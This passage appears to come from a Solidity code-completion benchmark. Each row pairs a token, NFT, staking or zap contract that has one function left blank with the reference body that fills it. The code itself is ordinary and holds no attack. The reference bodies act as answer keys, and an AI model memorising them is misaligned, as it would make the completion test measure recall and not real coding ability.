msg.value.sub(goodwillPortion),
_IntermediateToken,
_minPoolTokens
);
return tokensBought;
}
require(_amount > 0, "ERR: No ERC sent");
require(msg.value == 0, "ERR: ETH sent with tokens");
//transfer tokens to contract
IERC20(_FromTokenContractAddress).safeTransferFrom(
msg.sender,
address(this),
_amount
);
//send tokens to goodwill
uint256 goodwillPortion = _transferGoodwill(
_FromTokenContractAddress,
_amount
);
address _IntermediateToken = _getBestDeal(
_ToBalancerPoolAddress,
_amount,
_FromTokenContractAddress
);
tokensBought = _performZapIn(
msg.sender,
_FromTokenContractAddress,
_ToBalancerPoolAddress,
_amount.sub(goodwillPortion),
_IntermediateToken,
_minPoolTokens
);
| function ZapIn(
address _FromTokenContractAddress,
address _ToBalancerPoolAddress,
uint256 _amount,
uint256 _minPoolTokens
)
public
payable
nonReentrant
stopInEmergency
returns (uint256 tokensBought)
| /**
@notice This function is used to invest in given balancer pool through ETH/ERC20 Tokens
@param _FromTokenContractAddress The token used for investment (address(0x00) if ether)
@param _ToBalancerPoolAddress The address of balancer pool to zapin
@param _amount The amount of ERC to invest
@param _minPoolTokens for slippage
@return success or failure
*/
function ZapIn(
address _FromTokenContractAddress,
address _ToBalancerPoolAddress,
uint256 _amount,
uint256 _minPoolTokens
)
public
payable
nonReentrant
stopInEmergency
returns (uint256 tokensBought)
|
7725 | ERC20 | transferFrom | contract ERC20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor() public {
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual{
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | contract ERC20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor() public {
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
<FILL_FUNCTION>
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual{
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} |
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')
);
return true;
| function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) | /**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) |
40937 | MintableToken | mint | contract MintableToken is
Ownable,
IERC721,
IERC721Metadata,
ERC721Burnable,
ERC721Base
{
constructor(
string memory name,
string memory symbol,
address newOwner,
string memory contractURI,
string memory tokenURIPrefix
) public ERC721Base(name, symbol, contractURI, tokenURIPrefix) {
_registerInterface(bytes4(keccak256("MINT_WITH_ADDRESS")));
transferOwnership(newOwner);
}
function mint(
uint256 tokenId,
uint8 v,
bytes32 r,
bytes32 s,
Fee[] memory _fees,
string memory tokenURI
) public {<FILL_FUNCTION_BODY> }
function setTokenURIPrefix(string memory tokenURIPrefix) public onlyOwner {
_setTokenURIPrefix(tokenURIPrefix);
}
function setContractURI(string memory contractURI) public onlyOwner {
_setContractURI(contractURI);
}
} | contract MintableToken is
Ownable,
IERC721,
IERC721Metadata,
ERC721Burnable,
ERC721Base
{
constructor(
string memory name,
string memory symbol,
address newOwner,
string memory contractURI,
string memory tokenURIPrefix
) public ERC721Base(name, symbol, contractURI, tokenURIPrefix) {
_registerInterface(bytes4(keccak256("MINT_WITH_ADDRESS")));
transferOwnership(newOwner);
}
<FILL_FUNCTION>
function setTokenURIPrefix(string memory tokenURIPrefix) public onlyOwner {
_setTokenURIPrefix(tokenURIPrefix);
}
function setContractURI(string memory contractURI) public onlyOwner {
_setContractURI(contractURI);
}
} |
require(
owner() ==
ecrecover(keccak256(abi.encodePacked(this, tokenId)), v, r, s),
"owner should sign tokenId"
);
_mint(msg.sender, tokenId, _fees);
_setTokenURI(tokenId, tokenURI);
| function mint(
uint256 tokenId,
uint8 v,
bytes32 r,
bytes32 s,
Fee[] memory _fees,
string memory tokenURI
) public | function mint(
uint256 tokenId,
uint8 v,
bytes32 r,
bytes32 s,
Fee[] memory _fees,
string memory tokenURI
) public |
9770 | SunSaveStockToken | null | contract SunSaveStockToken {
string public constant name = "SunSaveStockToken";
string public constant symbol = "SUNSAVE";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function transfer(address receiver, uint numTokens) public returns(bool) {
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender] - numTokens;
balances[receiver] = balances[receiver] + numTokens;
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) {
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);
balances[owner] = balances[owner] - numTokens;
allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens;
balances[buyer] = balances[buyer] + numTokens;
emit Transfer(owner, buyer, numTokens);
return true;
}
} | contract SunSaveStockToken {
string public constant name = "SunSaveStockToken";
string public constant symbol = "SUNSAVE";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
<FILL_FUNCTION>
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function transfer(address receiver, uint numTokens) public returns(bool) {
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender] - numTokens;
balances[receiver] = balances[receiver] + numTokens;
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) {
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);
balances[owner] = balances[owner] - numTokens;
allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens;
balances[buyer] = balances[buyer] + numTokens;
emit Transfer(owner, buyer, numTokens);
return true;
}
} |
totalSupply_ = 100000000 * 10 ** decimals;
balances[msg.sender] = totalSupply_;
| constructor() | constructor() |
26270 | Staking | claimReward | contract Staking is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
using SafeERC20 for ERC20Burnable;
ERC20Burnable public duckToken;
uint public stakingStartTime;
uint public stakingFinishTime;
uint public harvestStartTime;
address public rewardAddress;
uint public rewardAmount;
address public duckReceiverAddress;
uint public burnThreshold;
mapping(address => uint) public balances;
uint public totalStaked;
uint public stakingLimit;
uint public userStakingLimit;
bool public canWithdraw;
bool finished;
struct Reward {
address addr;
uint amount;
}
Reward[] public rewards;
mapping(address => uint) public userLastUnclaimedReward;
event NewReward(address indexed tokenAddress, uint amount);
constructor(address _duckAddress, address _duckReceiverAddress) public Ownable() {
duckToken = ERC20Burnable(_duckAddress);
duckReceiverAddress = _duckReceiverAddress;
}
function initialSetup(uint _stakingStartTime, uint _stakingFinishTime, uint _stakingLimit) external onlyOwner {
require(stakingStartTime == 0, "already set");
stakingStartTime = _stakingStartTime;
stakingFinishTime = _stakingFinishTime;
stakingLimit = _stakingLimit;
}
function secondarySetup(uint _burnThreshold, uint _harvestStartTime, uint _userStakingLimit) external onlyOwner {
require(_harvestStartTime >= stakingFinishTime, "harvestStartTime < stakingFinishTime");
burnThreshold = _burnThreshold;
harvestStartTime = _harvestStartTime;
userStakingLimit = _userStakingLimit;
}
function addReward(address _rewardAddress, uint _rewardAmount) external onlyOwner {
rewards.push(Reward({addr: _rewardAddress, amount: _rewardAmount}));
emit NewReward(_rewardAddress, _rewardAmount);
}
function stake(uint amount) external nonReentrant() {
require(block.timestamp > stakingStartTime && block.timestamp < stakingFinishTime, "not a staking time");
if(totalStaked.add(amount) > stakingLimit) {
amount = stakingLimit.sub(totalStaked);
}
if(balances[msg.sender].add(amount) > userStakingLimit) {
amount = userStakingLimit.sub(balances[msg.sender]);
}
require(amount > 0, "nothing to stake");
require(duckToken.transferFrom(msg.sender, address(this), amount));
balances[msg.sender] = balances[msg.sender].add(amount);
totalStaked = totalStaked.add(amount);
}
function claimReward() external nonReentrant() {<FILL_FUNCTION_BODY> }
function finish() external {
require(!finished, "already finished");
require(block.timestamp > stakingFinishTime, "not a finish time");
finished = true;
if(totalStaked <= burnThreshold) {
duckToken.safeTransfer(duckReceiverAddress, totalStaked);
return;
}
duckToken.safeTransfer(duckReceiverAddress, burnThreshold);
duckToken.burn(totalStaked.sub(burnThreshold));
}
function withdrawLostTokens(address tokenAddress) external onlyOwner {
require(finished, "call finish first");
require(tokenAddress != rewardAddress, "can't withdraw reward tokens");
IERC20(tokenAddress).safeTransfer(owner(), IERC20(tokenAddress).balanceOf(address(this)));
}
function setWithdrawPermission(bool perm) external onlyOwner {
canWithdraw = perm;
}
function withdraw() public {
require(canWithdraw, "withdraw disabled");
require(balances[msg.sender] > 0, "nothing to claim");
uint toSend = balances[msg.sender];
balances[msg.sender] = 0;
duckToken.safeTransfer(msg.sender, toSend);
}
//frontend
function calculateReward(address user) public view returns(uint) {
uint res;
for(uint i = userLastUnclaimedReward[user]; i < rewards.length; i++) {
uint reward = rewards[i].amount.mul(balances[user]).div(totalStaked);
res += reward;
}
return res;
}
} | contract Staking is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
using SafeERC20 for ERC20Burnable;
ERC20Burnable public duckToken;
uint public stakingStartTime;
uint public stakingFinishTime;
uint public harvestStartTime;
address public rewardAddress;
uint public rewardAmount;
address public duckReceiverAddress;
uint public burnThreshold;
mapping(address => uint) public balances;
uint public totalStaked;
uint public stakingLimit;
uint public userStakingLimit;
bool public canWithdraw;
bool finished;
struct Reward {
address addr;
uint amount;
}
Reward[] public rewards;
mapping(address => uint) public userLastUnclaimedReward;
event NewReward(address indexed tokenAddress, uint amount);
constructor(address _duckAddress, address _duckReceiverAddress) public Ownable() {
duckToken = ERC20Burnable(_duckAddress);
duckReceiverAddress = _duckReceiverAddress;
}
function initialSetup(uint _stakingStartTime, uint _stakingFinishTime, uint _stakingLimit) external onlyOwner {
require(stakingStartTime == 0, "already set");
stakingStartTime = _stakingStartTime;
stakingFinishTime = _stakingFinishTime;
stakingLimit = _stakingLimit;
}
function secondarySetup(uint _burnThreshold, uint _harvestStartTime, uint _userStakingLimit) external onlyOwner {
require(_harvestStartTime >= stakingFinishTime, "harvestStartTime < stakingFinishTime");
burnThreshold = _burnThreshold;
harvestStartTime = _harvestStartTime;
userStakingLimit = _userStakingLimit;
}
function addReward(address _rewardAddress, uint _rewardAmount) external onlyOwner {
rewards.push(Reward({addr: _rewardAddress, amount: _rewardAmount}));
emit NewReward(_rewardAddress, _rewardAmount);
}
function stake(uint amount) external nonReentrant() {
require(block.timestamp > stakingStartTime && block.timestamp < stakingFinishTime, "not a staking time");
if(totalStaked.add(amount) > stakingLimit) {
amount = stakingLimit.sub(totalStaked);
}
if(balances[msg.sender].add(amount) > userStakingLimit) {
amount = userStakingLimit.sub(balances[msg.sender]);
}
require(amount > 0, "nothing to stake");
require(duckToken.transferFrom(msg.sender, address(this), amount));
balances[msg.sender] = balances[msg.sender].add(amount);
totalStaked = totalStaked.add(amount);
}
<FILL_FUNCTION>
function finish() external {
require(!finished, "already finished");
require(block.timestamp > stakingFinishTime, "not a finish time");
finished = true;
if(totalStaked <= burnThreshold) {
duckToken.safeTransfer(duckReceiverAddress, totalStaked);
return;
}
duckToken.safeTransfer(duckReceiverAddress, burnThreshold);
duckToken.burn(totalStaked.sub(burnThreshold));
}
function withdrawLostTokens(address tokenAddress) external onlyOwner {
require(finished, "call finish first");
require(tokenAddress != rewardAddress, "can't withdraw reward tokens");
IERC20(tokenAddress).safeTransfer(owner(), IERC20(tokenAddress).balanceOf(address(this)));
}
function setWithdrawPermission(bool perm) external onlyOwner {
canWithdraw = perm;
}
function withdraw() public {
require(canWithdraw, "withdraw disabled");
require(balances[msg.sender] > 0, "nothing to claim");
uint toSend = balances[msg.sender];
balances[msg.sender] = 0;
duckToken.safeTransfer(msg.sender, toSend);
}
//frontend
function calculateReward(address user) public view returns(uint) {
uint res;
for(uint i = userLastUnclaimedReward[user]; i < rewards.length; i++) {
uint reward = rewards[i].amount.mul(balances[user]).div(totalStaked);
res += reward;
}
return res;
}
} |
require(block.timestamp >= harvestStartTime, "not a harvest time");
require(balances[msg.sender] > 0, "nothing to claim");
uint buf = userLastUnclaimedReward[msg.sender];
userLastUnclaimedReward[msg.sender] = rewards.length;
for(uint i = buf; i < rewards.length; i++) {
uint reward = rewards[i].amount.mul(balances[msg.sender]).div(totalStaked);
IERC20(rewards[i].addr).safeTransfer(msg.sender, reward);
}
| function claimReward() external nonReentrant() | function claimReward() external nonReentrant() |
41026 | BSLimit | null | contract BSLimit is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
constructor () public ERC20Detailed("Blocksport Token", "BSPT", 18) {<FILL_FUNCTION_BODY> }
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
if (from != address(0)) {
super._beforeTokenTransfer(from, to, amount);
}
}
} | contract BSLimit is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
<FILL_FUNCTION>
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
if (from != address(0)) {
super._beforeTokenTransfer(from, to, amount);
}
}
} |
_mint(msg.sender, 1000000000 * (uint256(10) ** 18));
| constructor () public ERC20Detailed("Blocksport Token", "BSPT", 18) | constructor () public ERC20Detailed("Blocksport Token", "BSPT", 18) |
49086 | Token | transfer | contract Token is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "ZwoopToken";
string public constant symbol = "ZWP";
uint256 public constant decimals = 18;
// Using same number of decimal figures as ETH (i.e. 18).
uint256 public constant TOKEN_UNIT = 10 ** uint256(decimals);
// Maximum number of tokens in circulation
uint256 public constant MAX_TOKEN_SUPPLY = 2000000000 * TOKEN_UNIT;
// Maximum number of tokens sales to be performed.
uint256 public constant MAX_TOKEN_SALES = 1;
// Maximum size of the batch functions input arrays.
uint256 public constant MAX_BATCH_SIZE = 400;
address public assigner; // The address allowed to assign or mint tokens during token sale.
address public locker; // The address allowed to lock/unlock addresses.
mapping(address => bool) public locked; // If true, address' tokens cannot be transferred.
uint256 public currentTokenSaleId = 0; // The id of the current token sale.
mapping(address => uint256) public tokenSaleId; // In which token sale the address participated.
bool public tokenSaleOngoing = false;
event TokenSaleStarting(uint indexed tokenSaleId);
event TokenSaleEnding(uint indexed tokenSaleId);
event Lock(address indexed addr);
event Unlock(address indexed addr);
event Assign(address indexed to, uint256 amount);
event Mint(address indexed to, uint256 amount);
event LockerTransferred(address indexed previousLocker, address indexed newLocker);
event AssignerTransferred(address indexed previousAssigner, address indexed newAssigner);
/// @dev Constructor that initializes the contract.
/// @param _assigner The assigner account.
/// @param _locker The locker account.
constructor(address _assigner, address _locker) public {
require(_assigner != address(0));
require(_locker != address(0));
assigner = _assigner;
locker = _locker;
}
/// @dev True if a token sale is ongoing.
modifier tokenSaleIsOngoing() {
require(tokenSaleOngoing);
_;
}
/// @dev True if a token sale is not ongoing.
modifier tokenSaleIsNotOngoing() {
require(!tokenSaleOngoing);
_;
}
/// @dev Throws if called by any account other than the assigner.
modifier onlyAssigner() {
require(msg.sender == assigner);
_;
}
/// @dev Throws if called by any account other than the locker.
modifier onlyLocker() {
require(msg.sender == locker);
_;
}
/// @dev Starts a new token sale. Only the owner can start a new token sale. If a token sale
/// is ongoing, it has to be ended before a new token sale can be started.
/// No more than `MAX_TOKEN_SALES` sales can be carried out.
/// @return True if the operation was successful.
function tokenSaleStart() external onlyOwner tokenSaleIsNotOngoing returns(bool) {
require(currentTokenSaleId < MAX_TOKEN_SALES);
currentTokenSaleId++;
tokenSaleOngoing = true;
emit TokenSaleStarting(currentTokenSaleId);
return true;
}
/// @dev Ends the current token sale. Only the owner can end a token sale.
/// @return True if the operation was successful.
function tokenSaleEnd() external onlyOwner tokenSaleIsOngoing returns(bool) {
emit TokenSaleEnding(currentTokenSaleId);
tokenSaleOngoing = false;
return true;
}
/// @dev Returns whether or not a token sale is ongoing.
/// @return True if a token sale is ongoing.
function isTokenSaleOngoing() external view returns(bool) {
return tokenSaleOngoing;
}
/// @dev Getter of the variable `currentTokenSaleId`.
/// @return Returns the current token sale id.
function getCurrentTokenSaleId() external view returns(uint256) {
return currentTokenSaleId;
}
/// @dev Getter of the variable `tokenSaleId[]`.
/// @param _address The address of the participant.
/// @return Returns the id of the token sale the address participated in.
function getAddressTokenSaleId(address _address) external view returns(uint256) {
return tokenSaleId[_address];
}
/// @dev Allows the current owner to change the assigner.
/// @param _newAssigner The address of the new assigner.
/// @return True if the operation was successful.
function transferAssigner(address _newAssigner) external onlyOwner returns(bool) {
require(_newAssigner != address(0));
emit AssignerTransferred(assigner, _newAssigner);
assigner = _newAssigner;
return true;
}
/// @dev Function to mint tokens. It can only be called by the assigner during an ongoing token sale.
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to, uint256 _amount) public onlyAssigner tokenSaleIsOngoing returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
require(totalSupply_ <= MAX_TOKEN_SUPPLY);
if (tokenSaleId[_to] == 0) {
tokenSaleId[_to] = currentTokenSaleId;
}
require(tokenSaleId[_to] == currentTokenSaleId);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/// @dev Mints tokens for several addresses in one single call.
/// @param _to address[] The addresses that get the tokens.
/// @param _amount address[] The number of tokens to be minted.
/// @return A boolean that indicates if the operation was successful.
function mintInBatches(address[] _to, uint256[] _amount) external onlyAssigner tokenSaleIsOngoing returns(bool) {
require(_to.length > 0);
require(_to.length == _amount.length);
require(_to.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _to.length; i++) {
mint(_to[i], _amount[i]);
}
return true;
}
/// @dev Function to assign any number of tokens to a given address.
/// Compared to the `mint` function, the `assign` function allows not just to increase but also to decrease
/// the number of tokens of an address by assigning a lower value than the address current balance.
/// This function can only be executed during initial token sale.
/// @param _to The address that will receive the assigned tokens.
/// @param _amount The amount of tokens to assign.
/// @return True if the operation was successful.
function assign(address _to, uint256 _amount) public onlyAssigner tokenSaleIsOngoing returns(bool) {
require(currentTokenSaleId == 1);
// The desired value to assign (`_amount`) can be either higher or lower than the current number of tokens
// of the address (`balances[_to]`). To calculate the new `totalSupply_` value, the difference between `_amount`
// and `balances[_to]` (`delta`) is calculated first, and then added or substracted to `totalSupply_` accordingly.
uint256 delta = 0;
if (balances[_to] < _amount) {
// balances[_to] will be increased, so totalSupply_ should be increased
delta = _amount.sub(balances[_to]);
totalSupply_ = totalSupply_.add(delta);
} else {
// balances[_to] will be decreased, so totalSupply_ should be decreased
delta = balances[_to].sub(_amount);
totalSupply_ = totalSupply_.sub(delta);
}
require(totalSupply_ <= MAX_TOKEN_SUPPLY);
balances[_to] = _amount;
tokenSaleId[_to] = currentTokenSaleId;
emit Assign(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/// @dev Assigns tokens to several addresses in one call.
/// @param _to address[] The addresses that get the tokens.
/// @param _amount address[] The number of tokens to be assigned.
/// @return True if the operation was successful.
function assignInBatches(address[] _to, uint256[] _amount) external onlyAssigner tokenSaleIsOngoing returns(bool) {
require(_to.length > 0);
require(_to.length == _amount.length);
require(_to.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _to.length; i++) {
assign(_to[i], _amount[i]);
}
return true;
}
/// @dev Allows the current owner to change the locker.
/// @param _newLocker The address of the new locker.
/// @return True if the operation was successful.
function transferLocker(address _newLocker) external onlyOwner returns(bool) {
require(_newLocker != address(0));
emit LockerTransferred(locker, _newLocker);
locker = _newLocker;
return true;
}
/// @dev Locks an address. A locked address cannot transfer its tokens or other addresses' tokens out.
/// Only addresses participating in the current token sale can be locked.
/// Only the locker account can lock addresses and only during the token sale.
/// @param _address address The address to lock.
/// @return True if the operation was successful.
function lockAddress(address _address) public onlyLocker tokenSaleIsOngoing returns(bool) {
require(tokenSaleId[_address] == currentTokenSaleId);
require(!locked[_address]);
locked[_address] = true;
emit Lock(_address);
return true;
}
/// @dev Unlocks an address so that its owner can transfer tokens out again.
/// Addresses can be unlocked any time. Only the locker account can unlock addresses
/// @param _address address The address to unlock.
/// @return True if the operation was successful.
function unlockAddress(address _address) public onlyLocker returns(bool) {
require(locked[_address]);
locked[_address] = false;
emit Unlock(_address);
return true;
}
/// @dev Locks several addresses in one single call.
/// @param _addresses address[] The addresses to lock.
/// @return True if the operation was successful.
function lockInBatches(address[] _addresses) external onlyLocker returns(bool) {
require(_addresses.length > 0);
require(_addresses.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _addresses.length; i++) {
lockAddress(_addresses[i]);
}
return true;
}
/// @dev Unlocks several addresses in one single call.
/// @param _addresses address[] The addresses to unlock.
/// @return True if the operation was successful.
function unlockInBatches(address[] _addresses) external onlyLocker returns(bool) {
require(_addresses.length > 0);
require(_addresses.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _addresses.length; i++) {
unlockAddress(_addresses[i]);
}
return true;
}
/// @dev Checks whether or not the given address is locked.
/// @param _address address The address to be checked.
/// @return Boolean indicating whether or not the address is locked.
